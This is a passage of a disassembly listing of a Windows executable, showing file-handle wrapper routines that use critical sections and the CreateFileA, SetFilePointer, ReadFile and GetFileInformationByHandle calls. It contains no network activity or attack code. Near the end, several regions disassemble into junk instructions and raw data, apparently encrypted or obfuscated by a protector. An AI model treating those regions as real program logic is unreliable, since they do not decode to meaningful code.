ds:dword_4E18E4 mov [ebp+var_50], eax cmp [ebp+var_50], 0 jz short loc_4D01EC mov eax, [ebp+var_50] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection loc_4D01EC: ; CODE XREF: sub_4CFFBF+21Ej cmp [ebp+var_20], 0 jz short locret_4D0202 push 8000h push 0 push [ebp+var_20] call ds:dword_4E17A8 ; VirtualFree locret_4D0202: ; CODE XREF: sub_4CFFBF+231j retn ; --------------------------------------------------------------------------- loc_4D0203: ; CODE XREF: sub_4CFFBF+65j xor eax, eax loc_4D0205: ; CODE XREF: sub_4CFFBF+9Aj ; sub_4CFFBF+210j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_4CFFBF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D0216 proc near ; CODE XREF: sub_4DB4A4+11p ; sub_4DB4E0+11p var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004D0333 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE358 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov eax, [ebp+arg_4] and dword ptr [eax], 0 mov eax, ds:dword_4E18E4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_4D0262 mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_4D0266 ; --------------------------------------------------------------------------- loc_4D0262: ; CODE XREF: sub_4D0216+37j and [ebp+var_2C], 0 loc_4D0266: ; CODE XREF: sub_4D0216+4Aj movzx eax, [ebp+var_2C] test eax, eax jz loc_4D0333 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4D030C push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+var_1C] mov eax, [eax] mov eax, [eax+0Ch] push dword ptr [eax+0Ch] call ds:dword_4E16A8 ; CreateFileA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jz short loc_4D02F3 push 10h call sub_4D835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax mov esi, [ebp+var_1C] mov edi, [ebp+var_20] movsd movsd movsd movsd mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] mov ecx, [ecx] mov [eax+8], ecx push [ebp+var_20] mov eax, [ebp+arg_4] push dword ptr [eax] mov ecx, ds:dword_4E18E4 call sub_4DB98E loc_4D02F3: ; CODE XREF: sub_4D0216+A2j push 0FFFFFFFFh mov [ebp+var_34], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_34] jmp short loc_4D0335 ; --------------------------------------------------------------------------- loc_4D030C: ; CODE XREF: sub_4D0216+75j or [ebp+var_4], 0FFFFFFFFh call sub_4D0317 jmp short loc_4D0333 sub_4D0216 endp ; =============== S U B R O U T I N E ======================================= sub_4D0317 proc near ; CODE XREF: sub_4D0216+FAp ; DATA XREF: _5:004DE360o mov eax, ds:dword_4E18E4 mov [ebp-30h], eax cmp dword ptr [ebp-30h], 0 jz short locret_4D0332 mov eax, [ebp-30h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4D0332: ; CODE XREF: sub_4D0317+Cj retn sub_4D0317 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D0216 loc_4D0333: ; CODE XREF: sub_4D0216+56j ; sub_4D0216+FFj xor eax, eax loc_4D0335: ; CODE XREF: sub_4D0216+F4j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4D0216 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D0346 proc near ; CODE XREF: sub_4CC3F3+17p ; sub_4CF036+39p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4D153F test eax, eax jz loc_4D041B movzx eax, [ebp+var_C] test eax, eax jnz loc_4D041B mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_8], eax push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+var_4] mov eax, [eax+0Ch] push dword ptr [eax+0Ch] call ds:dword_4E16A8 ; CreateFileA mov ecx, [ebp+arg_C] mov [ecx], eax mov eax, [ebp+arg_C] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4D0416 push 0 push 0 mov eax, [ebp+var_8] push dword ptr [eax+4] mov eax, [ebp+arg_C] push dword ptr [eax] call ds:dword_4E1788 ; SetFilePointer push 10h call sub_4D835A pop ecx mov [ebp+var_14], eax mov eax, [ebp+var_14] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov ecx, [ebp+var_4] mov [eax], ecx mov eax, [ebp+var_10] mov ecx, [ebp+arg_C] mov ecx, [ecx] mov [eax+8], ecx mov eax, [ebp+var_10] and dword ptr [eax+4], 0 movzx eax, [ebp+arg_10] neg eax sbb eax, eax and eax, 0C0000000h add eax, 40000000h mov ecx, [ebp+var_10] mov [ecx+0Ch], eax push [ebp+var_10] mov eax, [ebp+arg_C] push dword ptr [eax] mov ecx, ds:dword_4E18E4 call sub_4CC000 loc_4D0416: ; CODE XREF: sub_4D0346+63j push 1 pop eax jmp short locret_4D041D ; --------------------------------------------------------------------------- loc_4D041B: ; CODE XREF: sub_4D0346+20j ; sub_4D0346+2Cj xor eax, eax locret_4D041D: ; CODE XREF: sub_4D0346+D3j leave retn 14h sub_4D0346 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D0421 proc near ; CODE XREF: sub_4CFFBF+164p ; sub_4D5BD7+11Dp ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 004D065F SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE368 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi cmp [ebp+arg_C], 0 jnz short loc_4D0452 lea eax, [ebp+var_1C] mov [ebp+arg_C], eax loc_4D0452: ; CODE XREF: sub_4D0421+29j mov eax, ds:dword_4E18E4 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4D0473 mov eax, [ebp+var_2C] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_30], 1 jmp short loc_4D0477 ; --------------------------------------------------------------------------- loc_4D0473: ; CODE XREF: sub_4D0421+3Dj and [ebp+var_30], 0 loc_4D0477: ; CODE XREF: sub_4D0421+50j movzx eax, [ebp+var_30] test eax, eax jz loc_4D065F and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_4D0638 mov eax, [ebp+var_24] mov eax, [eax] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+var_24] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz short loc_4D04EB push [ebp+arg_8] push 0 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E1788 ; SetFilePointer mov ecx, [ebp+arg_C] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_38], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_4D0661 ; --------------------------------------------------------------------------- loc_4D04EB: ; CODE XREF: sub_4D0421+96j mov eax, [ebp+var_24] mov eax, [eax+4] mov [ebp+var_28], eax cmp [ebp+arg_8], 0 jnz short loc_4D054D mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] cmp ecx, [eax+8] jle short loc_4D051E mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_4D0548 ; --------------------------------------------------------------------------- loc_4D051E: ; CODE XREF: sub_4D0421+E2j cmp [ebp+arg_4], 0 jge short loc_4D0537 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_4E178C ; RtlRestoreLastWin32Error jmp short loc_4D0548 ; --------------------------------------------------------------------------- loc_4D0537: ; CODE XREF: sub_4D0421+101j mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx loc_4D0548: ; CODE XREF: sub_4D0421+FBj ; sub_4D0421+114j jmp loc_4D061F ; --------------------------------------------------------------------------- loc_4D054D: ; CODE XREF: sub_4D0421+D7j cmp [ebp+arg_8], 2 jnz short loc_4D05AE cmp [ebp+arg_4], 0 jle short loc_4D0572 mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_4D05AC ; --------------------------------------------------------------------------- loc_4D0572: ; CODE XREF: sub_4D0421+136j mov eax, [ebp+var_20] mov eax, [eax+8] neg eax cmp [ebp+arg_4], eax jge short loc_4D0592 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_4E178C ; RtlRestoreLastWin32Error jmp short loc_4D05AC ; --------------------------------------------------------------------------- loc_4D0592: ; CODE XREF: sub_4D0421+15Cj mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] add ecx, [eax+8] mov eax, [ebp+var_24] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx loc_4D05AC: ; CODE XREF: sub_4D0421+14Fj ; sub_4D0421+16Fj jmp short loc_4D061F ; --------------------------------------------------------------------------- loc_4D05AE: ; CODE XREF: sub_4D0421+130j cmp [ebp+arg_8], 1 jnz short loc_4D0611 mov eax, [ebp+arg_4] add eax, [ebp+var_28] mov ecx, [ebp+var_20] cmp eax, [ecx+8] jle short loc_4D05DB mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_4D060F ; --------------------------------------------------------------------------- loc_4D05DB: ; CODE XREF: sub_4D0421+19Fj mov eax, [ebp+var_28] add eax, [ebp+arg_4] test eax, eax jge short loc_4D05F8 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_4E178C ; RtlRestoreLastWin32Error jmp short loc_4D060F ; --------------------------------------------------------------------------- loc_4D05F8: ; CODE XREF: sub_4D0421+1C2j mov eax, [ebp+arg_4] add eax, [ebp+var_28] mov ecx, [ebp+var_24] mov [ecx+4], eax mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx loc_4D060F: ; CODE XREF: sub_4D0421+1B8j ; sub_4D0421+1D5j jmp short loc_4D061F ; --------------------------------------------------------------------------- loc_4D0611: ; CODE XREF: sub_4D0421+191j mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 57h call ds:dword_4E178C ; RtlRestoreLastWin32Error loc_4D061F: ; CODE XREF: sub_4D0421:loc_4D0548j ; sub_4D0421:loc_4D05ACj ... push 0FFFFFFFFh mov [ebp+var_3C], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_4D0661 ; --------------------------------------------------------------------------- loc_4D0638: ; CODE XREF: sub_4D0421+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_4D0643 jmp short loc_4D065F sub_4D0421 endp ; =============== S U B R O U T I N E ======================================= sub_4D0643 proc near ; CODE XREF: sub_4D0421+21Bp ; DATA XREF: _5:004DE370o mov eax, ds:dword_4E18E4 mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short locret_4D065E mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4D065E: ; CODE XREF: sub_4D0643+Cj retn sub_4D0643 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D0421 loc_4D065F: ; CODE XREF: sub_4D0421+5Cj ; sub_4D0421+220j xor eax, eax loc_4D0661: ; CODE XREF: sub_4D0421+C5j ; sub_4D0421+215j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 10h ; END OF FUNCTION CHUNK FOR sub_4D0421 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D0672 proc near ; CODE XREF: sub_4D1CC4+80p ; sub_4D5456+58p ... var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004D072E SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE378 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_4E18E4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4D06B8 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_4D06BC ; --------------------------------------------------------------------------- loc_4D06B8: ; CODE XREF: sub_4D0672+31j and [ebp+var_24], 0 loc_4D06BC: ; CODE XREF: sub_4D0672+44j movzx eax, [ebp+var_24] test eax, eax jz short loc_4D072E and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4D0707 mov eax, [ebp+var_1C] mov eax, [eax] mov eax, [eax] mov ecx, [ebp+arg_4] mov eax, [eax+8] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_4D0730 ; --------------------------------------------------------------------------- loc_4D0707: ; CODE XREF: sub_4D0672+6Bj or [ebp+var_4], 0FFFFFFFFh call sub_4D0712 jmp short loc_4D072E sub_4D0672 endp ; =============== S U B R O U T I N E ======================================= sub_4D0712 proc near ; CODE XREF: sub_4D0672+99p ; DATA XREF: _5:004DE380o mov eax, ds:dword_4E18E4 mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_4D072D mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4D072D: ; CODE XREF: sub_4D0712+Cj retn sub_4D0712 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D0672 loc_4D072E: ; CODE XREF: sub_4D0672+50j ; sub_4D0672+9Ej xor eax, eax loc_4D0730: ; CODE XREF: sub_4D0672+93j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4D0672 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D0741 proc near ; CODE XREF: sub_4CC3F3+58p ; sub_4CF12B+22p ... var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE388 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 20h push ebx push esi push edi cmp [ebp+arg_4], 0 jnz short loc_4D0772 lea eax, [ebp+var_1C] mov [ebp+arg_4], eax loc_4D0772: ; CODE XREF: sub_4D0741+29j mov eax, ds:dword_4E18E4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_4D0793 mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_4D0797 ; --------------------------------------------------------------------------- loc_4D0793: ; CODE XREF: sub_4D0741+3Dj and [ebp+var_2C], 0 loc_4D0797: ; CODE XREF: sub_4D0741+50j movzx eax, [ebp+var_2C] test eax, eax jz loc_4D0845 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4D0809 mov eax, [ebp+var_20] push dword ptr [eax+8] call ds:dword_4E16A4 ; CloseHandle push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB8E0 mov eax, [ebp+var_20] mov [ebp+var_24], eax push [ebp+var_24] call sub_4D83DD pop ecx mov eax, [ebp+arg_4] mov dword ptr [eax], 1 push 0FFFFFFFFh mov [ebp+var_34], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_34] jmp short loc_4D0847 ; --------------------------------------------------------------------------- loc_4D0809: ; CODE XREF: sub_4D0741+7Bj push [ebp+arg_4] push [ebp+arg_0] call sub_4CF818 push 0FFFFFFFFh mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp short loc_4D0847 ; --------------------------------------------------------------------------- loc_4D0829: ; DATA XREF: _5:004DE390o mov eax, ds:dword_4E18E4 mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz short locret_4D0844 mov eax, [ebp+var_30] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4D0844: ; CODE XREF: sub_4D0741+F4j retn ; --------------------------------------------------------------------------- loc_4D0845: ; CODE XREF: sub_4D0741+5Cj xor eax, eax loc_4D0847: ; CODE XREF: sub_4D0741+C6j ; sub_4D0741+E6j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_4D0741 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D0858 proc near ; CODE XREF: sub_4DA710+12p var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 004D093D SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE398 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi cmp [ebp+arg_8], 0 jnz short loc_4D0889 lea eax, [ebp+var_1C] mov [ebp+arg_8], eax loc_4D0889: ; CODE XREF: sub_4D0858+29j mov eax, ds:dword_4E18E4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4D08AA mov eax, [ebp+var_24] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_28], 1 jmp short loc_4D08AE ; --------------------------------------------------------------------------- loc_4D08AA: ; CODE XREF: sub_4D0858+3Dj and [ebp+var_28], 0 loc_4D08AE: ; CODE XREF: sub_4D0858+50j movzx eax, [ebp+var_28] test eax, eax jz loc_4D093D and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4D0916 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E16FC ; GetFileInformationByHandle mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_4] and dword ptr [eax+20h], 0 mov eax, [ebp+var_20] mov eax, [eax] mov eax, [eax] mov ecx, [ebp+arg_4] mov eax, [eax+8] mov [ecx+24h], eax push 0FFFFFFFFh mov [ebp+var_30], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_4D093F ; --------------------------------------------------------------------------- loc_4D0916: ; CODE XREF: sub_4D0858+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_4D0921 jmp short loc_4D093D sub_4D0858 endp ; =============== S U B R O U T I N E ======================================= sub_4D0921 proc near ; CODE XREF: sub_4D0858+C2p ; DATA XREF: _5:004DE3A0o mov eax, ds:dword_4E18E4 mov [ebp-2Ch], eax cmp dword ptr [ebp-2Ch], 0 jz short locret_4D093C mov eax, [ebp-2Ch] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4D093C: ; CODE XREF: sub_4D0921+Cj retn sub_4D0921 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D0858 loc_4D093D: ; CODE XREF: sub_4D0858+5Cj ; sub_4D0858+C7j xor eax, eax loc_4D093F: ; CODE XREF: sub_4D0858+BCj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4D0858 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D0950 proc near ; CODE XREF: sub_4DA741+Bp ; sub_4DA77D+Bp var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004D09FD SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE3A8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_4E18E4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4D0996 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_4D099A ; --------------------------------------------------------------------------- loc_4D0996: ; CODE XREF: sub_4D0950+31j and [ebp+var_24], 0 loc_4D099A: ; CODE XREF: sub_4D0950+44j movzx eax, [ebp+var_24] test eax, eax jz short loc_4D09FD and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_4E18E4 call sub_4DB871 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4D09D6 push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_4D09FF ; --------------------------------------------------------------------------- loc_4D09D6: ; CODE XREF: sub_4D0950+6Bj or [ebp+var_4], 0FFFFFFFFh call sub_4D09E1 jmp short loc_4D09FD sub_4D0950 endp ; =============== S U B R O U T I N E ======================================= sub_4D09E1 proc near ; CODE XREF: sub_4D0950+8Ap ; DATA XREF: _5:004DE3B0o mov eax, ds:dword_4E18E4 mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_4D09FC mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4D09FC: ; CODE XREF: sub_4D09E1+Cj retn sub_4D09E1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D0950 loc_4D09FD: ; CODE XREF: sub_4D0950+50j ; sub_4D0950+8Fj xor eax, eax loc_4D09FF: ; CODE XREF: sub_4D0950+84j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_4D0950 ; --------------------------------------------------------------------------- loc_4D0A10: ; CODE XREF: sub_4D0C5C+2F1p ; sub_4D1177+1CFp push ebp mov ebp, esp sub esp, 0ECh push ebx push esi push edi mov eax, [ebp+0Ch] mov [ebp-0Ch], eax mov eax, [ebp+10h] mov [ebp-10h], eax mov eax, ds:dword_4E18F8 mov [ebp-4], eax mov eax, [ebp+8] mov eax, [eax] mov eax, [eax] mov [ebp-8], eax mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 30h cmp eax, 30h jnz loc_4D0AD8 mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 2 test eax, eax jnz short loc_4D0AD8 mov eax, [ebp-8] mov ecx, [ebp+0Ch] sub ecx, [eax+4] mov [ebp-14h], ecx mov eax, [ebp-14h] xor edx, edx push 8 pop ecx div ecx mov [ebp-18h], edx cmp dword ptr [ebp-18h], 0 jz short loc_4D0A93 mov eax, [ebp+0Ch] sub eax, [ebp-18h] mov [ebp-0Ch], eax mov eax, [ebp-10h] add eax, [ebp-18h] mov [ebp-10h], eax mov eax, [ebp-4] add eax, [ebp-18h] mov [ebp-4], eax loc_4D0A93: ; CODE XREF: _4:004D0A76j mov eax, [ebp-10h] xor edx, edx push 8 pop ecx div ecx test edx, edx jz short loc_4D0AB8 mov eax, [ebp-10h] xor edx, edx push 8 pop ecx div ecx push 8 pop eax sub eax, edx mov ecx, [ebp-10h] add ecx, eax mov [ebp-10h], ecx loc_4D0AB8: ; CODE XREF: _4:004D0A9Fj mov eax, [ebp+8] mov ecx, [ebp-10h] add ecx, [eax+4] mov eax, [ebp-8] cmp ecx, [eax+8] jbe short loc_4D0AD8 mov eax, [ebp-8] mov ecx, [ebp+8] mov eax, [eax+8] sub eax, [ecx+4] mov [ebp-10h], eax loc_4D0AD8: ; CODE XREF: _4:004D0A46j _4:004D0A57j ... push 0 push 0 push dword ptr [ebp-0Ch] mov eax, [ebp+8] push dword ptr [eax+8] call ds:dword_4E1788 ; SetFilePointer cmp eax, [ebp-0Ch] jz short loc_4D0AF7 xor eax, eax jmp loc_4D0C55 ; --------------------------------------------------------------------------- loc_4D0AF7: ; CODE XREF: _4:004D0AEEj push 0 push dword ptr [ebp+14h] push dword ptr [ebp-10h] push ds:dword_4E18F8 mov eax, [ebp+8] push dword ptr [eax+8] call ds:dword_4E177C ; ReadFile test eax, eax jnz short loc_4D0B1C xor eax, eax jmp loc_4D0C55 ; --------------------------------------------------------------------------- loc_4D0B1C: ; CODE XREF: _4:004D0B13j mov eax, [ebp+14h] mov eax, [eax] cmp eax, [ebp-10h] jz short loc_4D0B2D xor eax, eax jmp loc_4D0C55 ; --------------------------------------------------------------------------- loc_4D0B2D: ; CODE XREF: _4:004D0B24j mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz loc_4D0C3C mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 30h cmp eax, 10h jnz short loc_4D0BA9 push offset dword_460000 call sub_4CDB7E ; CODE XREF: _4:004D0B5Bj sub eax, 7424E45Ah db 3Eh jle short near ptr loc_4D0B51+3 cmpsb push edi fisttp dword ptr [edx+esi*4+61h] clc lds ebp, [ecx-26h] db 2Eh ; CODE XREF: _4:loc_4D0B99j icebp and eax, 7EFC9E45h dec edi jmp short loc_4D0B99 ; --------------------------------------------------------------------------- dw 4521h dd 72A5F15Eh, 0DB928439h, 0E0C5324Fh, 48F284DAh, 0C220AB13h dd 6D611A5Fh, 0A31D6C36h, 90A16E44h, 0E2FDF0E3h ; --------------------------------------------------------------------------- cmc loc_4D0B99: ; CODE XREF: _4:004D0B70j jmp short near ptr loc_4D0B68+1 ; --------------------------------------------------------------------------- db 0C1h db 2 dup(90h) dw 0C033h dd 0EE75C085h, 93E9h db 0 ; --------------------------------------------------------------------------- loc_4D0BA9: ; CODE XREF: _4:004D0B4Aj mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 30h cmp eax, 30h jnz short loc_4D0C32 push 120000h call sub_4CDB7E mov esp, 0E59375A9h lodsd punpckhwd mm7, mm4 mov bl, 0AEh xchg eax, edx enter 493Dh, 20h add esi, esi xchg dh, [ebx-683002FDh] adc [edi-1471F021h], ebx mov dl, 34h ; --------------------------------------------------------------------------- db 8Ch, 0F5h, 65h dd 975D2033h, 0B1BE20AAh, 97A380A4h, 9FC19C8Fh, 2DDFCC3h dd 0E1EECB75h, 9276A8BBh, 680CACDAh, 31B9E518h, 0ED0915C7h dd 0DA20F7ABh, 0DB497237h, 758264EEh, 9E554C68h, 0DE8DD8CBh dd 0CE190CFFh, 0A5B28F65h, 0C0339090h, 0EE75C085h ; --------------------------------------------------------------------------- jmp short loc_4D0C3C ; --------------------------------------------------------------------------- loc_4D0C32: ; CODE XREF: _4:004D0BB5j mov ecx, 0EF000014h call sub_4D8342 loc_4D0C3C: ; CODE XREF: _4:004D0B38j 